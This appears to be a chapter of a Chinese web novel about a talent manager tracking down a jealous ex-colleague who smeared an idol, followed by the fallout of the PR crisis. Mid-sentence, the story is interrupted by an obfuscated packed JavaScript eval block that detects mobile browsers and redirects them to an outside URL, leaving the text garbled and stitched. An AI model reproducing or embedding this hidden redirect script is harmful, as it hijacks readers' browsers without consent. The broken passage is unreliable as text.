发帖人收到宫欢的双重消息后果然迫于压力加了联系方式。
宫欢切换着大小号给对方施压。
宫欢的大号就是她常用的微信,添加好友后一连串的消息轰炸,顺便随手发了个律师函。
宫欢:【你发的帖子内容还有所谓的‘爆料照片’没有任何依据事实,却引导网民猜测是我旗下艺人,现在造成的舆论风波影响巨大,请立刻与我方艺人公开道歉,否则我们则会采取法律手段。】
她的小号大多用来伪装粉丝之类的作用,给对方发消息时的人设是资深圈内人的风格。
万事知:【哎呀哥们,她都给你发律师函了?看来真要追究你的事儿了。不过别怕,我认识的律师不少,特别擅长解决圈内这些七七八八的糟心事,我给你个联系方式,你问问他。】
万事知:【宫欢特别记仇,我之前见过她,一个助理忘记给她倒热水,她直接把人当场开除了!】
万事知:【你这惹得事可不小,我觉着,她估计要杀到你家里。】
对方发来的文字消息里透出些惧意,仿佛经此提点才意识到自己惹了多大的祸。
G:【那那怎么办啊,我当时也没想那么多......就是看不惯。】
万事知:【看不惯什么?你跟X男团有过节啊?】
G:【对啊,就是那个主C安声,凭什么现在成了大明星,还有一堆粉丝哭天喊地的喜欢他。】
G:【她们知道这个表面清纯的人其实背后就是个xx吗!】
G:【他当初在夜店跳舞,台下点什么他就得跳什么,不就是出来卖的吗!】
G:【谁知道他是怎么攀上宫欢的,我估计是被包养了。】
G:【之前安声在夜店跳舞的时候一堆人想包养他。】
G:【】
G:【哥们,你怎么不说话了?】
宫欢早就骂开了。
“神经病啊他,他是当事人吗他说得有鼻子有眼的,什么煞笔造谣敢造到我大外甥身上!让老娘活劈了他!”宫欢被助理拉着胳膊,只能狂踢腿试图往手机上踹。
她那爆脾气压根忍不到第三条消息,高姐眼疾手快地拉着她,才没发语音过去怒骂而导致暴露计划。
两个小助理安抚着宫欢的情绪,高姐则拿着手机发去消息。
万事知:【手机上说不清楚,你在哪个城市,我们约个地址见面说。】
-
李叶最近工作不顺。
自上一家工作的夜店优化了一批伴舞后,他便一直找不到合适的工作。
一些夜店伴舞要求陪酒,有些要求必须能热场,撑场。
李叶都做不到,他的舞蹈是花2899报课学来的半吊子功夫,只上过几节舞蹈课,勉强能扭扭腰之类的,再多就不行了。
他焦虑不已地上网刷视频,不经意看见近期爆火的X男团。
X男团的相关视频火爆得不可思议,随随便便一个视频热度都居高不下,评论区更是一群人嗷嗷叫地喊哥哥。
李叶本不爱关注娱乐明星,可X男团的其中一人引起了他的注意。
带着梨涡的清纯脸蛋,装的一副天真无邪,令人作呕的那个人不正是之前夜店里领舞的‘灵蛇’吗?
那时候他和其他的伴舞们关系不错,众人都或多或少的厌恶‘灵蛇’,他站在主C位,拿着最多的钱,跳着最少的舞,惹人羡慕嫉妒。
李叶当即恶补了X男团的相关信息,脑补出不少‘被包养’上位的各类内容。
他敢肯定,‘灵蛇’是潜规则上位的。
趁着小作文的热度,他学着伪装路人粉的语气发布了一片小作文——【我认识的艳舞头牌成了大明星大爱豆】。
他倒要看看,这个人还能不能站上舞台。
......
B市咖啡馆。
李叶穿戴严实坐在靠窗的位置,时不时抬手看时间,他向网上一位大哥问出不少内幕,对方说能帮他。
他没想惹宫欢那个女魔头,只是想抹黑安声解解气,谁知道宫欢放话说要把他告上法庭。
李叶倒真是因为这事慌了,才寄希望于一个素未谋面的网友。
他焦躁不安地频繁看手表,咖啡都喝了两杯。
咖啡馆的门被推开,进来了一个穿着红色风衣的女人,不是他要找的人。
李叶将目光转向窗外,却听见那笃笃笃的鞋跟声慢慢靠近,他下意识转头看了一眼,还没对上眼前人的目光,领口被人猛得扯起,女人强势地将他的头摁在桌上,压低声音恶狠狠报出暗号:
“一片两片三四片!”
李叶牙齿打颤,结结巴巴地续上后半段:“我家煤气没交钱!”
宫欢冷哼一声,刚想揍两下解解气,身后高姐走近,往旁边看了一圈提醒道:“这里人多,别闹事,好好跟他聊。”
“有什么可聊的,他敢毁我的人,不教训教训怎么行!”
李叶再笨此刻也明白了,来的人是宫欢!
那大哥去哪儿了?
没等李叶想明白,脑袋上的压力骤然一松,对面刷刷坐下两人。
一个是戴墨镜的红衣女魔头,一个是穿着职业西服的女人。他咽了咽唾液,小心翼翼地问:“两,两位找我有什么事吗?”
宫欢啪地一下拍上桌子:“你给我装什么!”
李叶吓得往后一窜,又结巴起来。
高姐很是冷静地推了推眼镜镜框:“放心,她不会揍你。最近关于安声的小作文帖子是你发的吗,请如实回答,我们已经掌握了证据,如果你不说清楚内幕,我们后面不会手下留情。”
的确是无力回天了,李叶只得懊悔地将事情一一说明。
两人没想到这事不止李叶掺和其中,背后还有之前那家夜店的老板也在背后推波助澜,不然帖子的热度不会飙升得如此之快。
等李叶一一交代完,宫欢黑着脸,眼神死死盯着对面的人,像是想将他生吞活剥。
李叶将头重重磕在桌上,当做磕头谢罪:“两位姐姐,我真不是故意的,我,我当时也是鬼迷心窍,觉得自己混的太差了,就有点嫉妒......我真没想做什么。”
“你们能别告我吗......我没有钱。”
高姐看了宫欢一眼,抬抬手催人赶紧离开。
李叶感恩戴德地对着高姐再三鞠躬后迅速逃离现场。
气过之后是对复杂局势的无奈,宫欢揉着眉心发愁:“哪怕是死在对家手里我都不会这么冤,居然是安声以前的同事……”
是啊,这颠覆性的,足以毁掉整个男团的黑历史竟然就这么被同事的嫉妒爆出来,这人甚至没想拿黑历史去威胁安声,直接硬爆,纯是又蠢又坏啊。
高姐:“现在怎么办,已经过去六小时了,有些营销号视频开始在作势了,再不公关的话......”
宫欢烦躁地胡乱揉着头发,她往日鬼点子最多,堪称公关小天才,可遇上这类重大型危机,也是手足无措。
再多的公关都无法掩饰这一事实,安声的确在夜店跳过艳舞。
现在只能希望将舆论范围压到最低,将三人以最快的速度分开,必要时候,X男团直接宣布解散,三人中至少能保全两人。
宫欢不想放弃安声,可她也必须做好最坏的打算。
如果舆论声势扩大,她必须要舍弃他。
-
三人的消息接收偏滞后了些,最近他们在筹备新舞的首映舞台,等三人排练完,抽出点娱乐时间上网后,顿时被狂轰乱炸的私信炮轰得头晕眼花。
其中,安声的反应最快。
因为他看见了熟悉的字眼。
夜店,艳舞,灵蛇。
这些都是他曾经熟悉的事务,灵蛇是他在夜店的代号,艳舞是他跳的一种舞蹈方式。
微博的粉丝群里消息飞速跳跃着,全都是在艾特他和宫欢工作室,质问他们到底是怎么回事。
有些粉丝发语音说:
“我这么喜欢你,相信你对舞台的热爱,结果呢,你全都是装的!全都是人设!你太让我失望了,安声,你根本不配这么多粉丝的热爱!”
有些粉丝发的是文字小作文:
【我从【敢说敢言】的初舞台就喜欢你了,你的所有周边我买的最快,向身边人安利你,夸你,我还为你学习做剪辑视频,用心去打榜做数据,可现在你告诉我你是个混夜店跳艳舞的‘鸭子’,哈哈,哈哈哈哈我疯了,我真要疯了!!】
粉丝们的崩溃从消息文字里喷涌而出,她们伤心难过,怨恨憎恶。
因为安声欺骗了她们,他不是一个从专业舞蹈学校出来,一直维持着贫苦生活,在街边驻唱被挖掘后成为了明星的爱豆。
而是堕落在夜店里跳艳舞,做着谁也不知道的工作,是不是在被潜规则后一跃成名才做了爱豆,谁也不得而知。
安声之前在粉丝面前展现出的单纯天真的面容在一刹那出现了裂痕,接着四分五裂的碎在地上。
粉丝群中有粉丝维持着一些理智:【大家先不要慌,别崩,先问清楚怎么回事,万一这是对家的洗脑包就完了!】
也有粉丝说:【还洗脑包,那张照片真的不能再真了!还能是假的吗,宫欢她们一个声明都没出,不就是默认!?】
成千上万条消息,安声从惊愕看到麻木,他仿佛自虐般地往上滑动屏幕,那些消息仿佛一把双刃剑,发送人被捅伤一次,安声也被捅一次。
有温热的液体涌出,模糊了眼睛,一滴滴落在手机上,他无声地哭泣,手指仍在颤抖地继续往下滑。
直到一只手抽走了他手里的手机。
宫欢低头看着他的发顶,微微叹气:“别看了。”
安声的肩膀微微颤动,身体缩成一团将脸埋进膝盖里,沉闷的声音带着压抑的哭腔:“......她们都知道了,我一直在骗她们,我是罪人。”
“你哪有那么大罪,就是隐藏了一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126440|196094||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
点过去而已,谁还没点过去了!”宫欢坐在他身旁的沙发上,放软语气安慰道,“别搞得天塌下来似的,就是一点黑历史爆料,问题不大。”
“不一样,这不一样!”
安声抬起头,眼泪鼻涕流满整张脸,宫欢被丑的往后躲了躲,他转过脸对着她,张开血盆大口:
“她们一直以为我是街边驻唱歌手,是...是没落的金子,是干净的,可是,可是我早就已经不干净了——呜呜!!”
“......”
宫欢忍了又忍,看他哭得实在可怜,口中盘旋的难听话稍加修改了下,“你之前只是跳热场舞,又不是做那些违法的事情,这也是为了生存啊!”
奈何安声已经被粉丝群里的话伤得神志不清,他哭着摇头,自暴自弃地把自己埋在沙发里。
一个安声还没完。
没多久,奚亭云和萧子重轮番找了过来。
萧子重回到别墅,上来就质问:“宫大经纪人,给个解释吧?”
宫欢抱着双臂,冷脸坐在安声的另外一边:“解释不了,我现在头大的很,脑子里一团乱!”
萧子重本来在外面拍杂志封面照,中场休息间隙,周围的工作人员挨个拿出手机互相讨论得热火朝天。
他有些疑惑,却没深想。
直到越来越多的工作人员悄悄拿眼神瞥萧子重,他愈发感觉事情不简单,急忙让助理看看热搜。
不看还好,一看天塌了。
#X男团主C是跳艳舞的
萧子重的脑子内发生了一场毁天灭地的核爆炸,他顾不得拍杂志照片,快车加速赶回别墅,到地方时气都没喘匀,便急着追问宫欢。
她倒好,一点解释都没有。
萧子重眉头紧皱,目光扫到沙发一角的安声,开口追问:“安声,到底怎么回事啊。”
“你别问他!”
没等宫欢说完,安声浑身脱力般地站起身,朝慢两步赶来的奚亭云和萧子重深深鞠躬,他鼻音浓重,满脸悲痛难过。
“对不起,萧哥,奚哥,我有罪,是我连累了你们,我拖了你们的后腿,你们想怎么揍我都行,我本来就该死。”
两人被他这动静惊得愣在原地,互相看了一眼,奚亭云往宫欢那边望去,几秒间便懂了什么情况。
“我们没怪你,只是想问清楚现在是什么情况。”
安声呜咽出声,哽咽许久一句话也说不出来,气急败坏地哭嚎着冲上二楼,砰地一声将自己关进房间。
宫欢手忙脚乱:“我都说了别问他!”
萧子重反怼道:“问你你也不说啊!”
她头痛得要命,抬手朝空气挥了挥手。
萧子重:“安声疯了你也跟着疯?”
宫欢没好气地白他一眼。
不过几秒,一位小助理飞速赶到现场,甚至带来了一块小黑板,非常专业地示意两人坐下:“两位请坐,现在由我来给两位讲解现在的情况——”
10分钟后,小助理讲解完毕,客厅一片死寂。
奚亭云完全能共感宫欢的想法与烦恼。
他虽然没有系统学过营销方面的内容,可在长达三年的深耕娱乐圈粉丝群体后,深刻明白此刻的危机有多么严重。
不是一些耍大牌、不尊重前辈、抢C位的问题,当前的黑历史爆料是致命且无解的。
一方面是公共形象的影响,可能面临全面封杀,一方面则是粉丝群体的影响,在如此天差地别的人设差别转变后,谁还会愿意正视安声这个人?
最重要的是X男团会受到牵连,奚亭云和萧子重两人也会因为这件事受到形象方面的影响。
粉丝群体大受刺激,极有可能大批量脱粉。
奚亭云知道宫欢在头痛什么。
萧子重花费了一些时间消化刚才听到的消息,愣了半天,冷不丁冒出一句:“——安声之前跳艳舞!?”
二楼房间里顿时传出更激烈的哭嚎惨叫声。
宫欢啧了一声,随手抓了个抱枕狠狠砸向萧子重:“你要不会说话就别说话!”
枕头砸得萧子重往后倒了倒,他捡起抱枕,小声咕哝:“不是,这都能听见吗?”
奚亭云缓和着气氛,谨慎地放低声音:“现在怎么办,买水军发营销通稿,还是开发布会澄清谣言?现在距离黑料过去了10小时,抢占时间先机澄清的话,应该可以延缓一下危机。”
“已经在安排了。”
宫欢说着看了眼奚亭云,他神情凝重,目光紧紧落在她身上。
让她意外的是,奚亭云对她要做的那套流程好似烂熟于心,提出的公关建议与她制定的计划大方向几乎一样。
他怎么这么懂营销公关?
宫欢只分神想了一下,思绪很快回归正题。
她嘱咐两人:“最近你们各方面的商演代言,各类通告都会受到影响,我会尽力挽回损失,让这次的危机尽快过去,希望...还有挽回的机会。”